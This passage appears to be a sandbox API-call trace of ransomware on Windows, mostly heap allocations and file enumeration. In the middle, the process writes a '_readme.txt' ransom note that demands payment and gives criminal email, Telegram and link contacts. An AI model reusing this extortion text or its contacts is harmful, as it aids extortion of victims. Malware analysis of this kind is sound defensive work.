0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.662] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.662] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.662] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.662] PathFindFileNameW (pszPath="") returned="" [0112.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.662] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.663] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.663] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.663] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.663] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0112.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.663] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0112.664] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.664] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.664] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.664] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.664] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.664] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.664] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.665] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.665] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.665] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.665] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, 